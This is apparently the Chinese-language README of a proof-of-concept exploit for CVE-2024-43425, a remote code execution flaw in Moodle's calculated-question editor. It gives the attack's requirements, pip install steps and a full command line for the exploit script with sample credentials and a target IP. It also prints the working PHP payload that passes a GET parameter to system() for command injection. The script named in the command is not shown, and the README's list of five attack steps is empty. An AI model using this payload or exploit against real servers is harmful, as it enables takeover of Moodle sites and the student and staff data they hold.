CVE-2024-43425-Poc

CVE 概述

CVE ID: CVE-2024-43425

描述: Moodle 允许经过身份验证的教师级用户通过测验编辑器界面上传恶意的计算题。 影响: 远程代码执行 (RCE) 原因: 对计算题内的数学负载清理不当，导致通过数据集向导实现命令注入。

要求:

• 有效的登录凭据
• 访问测验编辑界面的权限（通常是教师或管理员角色）
• 已知的 cmid（测验模块 ID）和 courseid

此脚本执行 5 步攻击:

使用说明

要求:

• Python 3
• Python 库: requests、bs4 (BeautifulSoup)

pip3 install requests bs4

python3 exploit_cve_2024_43425.py \
  --url http://192.168.2.12/moodle \
  --username test \
  --password 'Test@123' \
  --courseid 1 \
  --cmid 1 \
  --cmd 'whoami'

使用的 Payload:

answer[0] = "(1)->{system($_GET[chr(97)])}"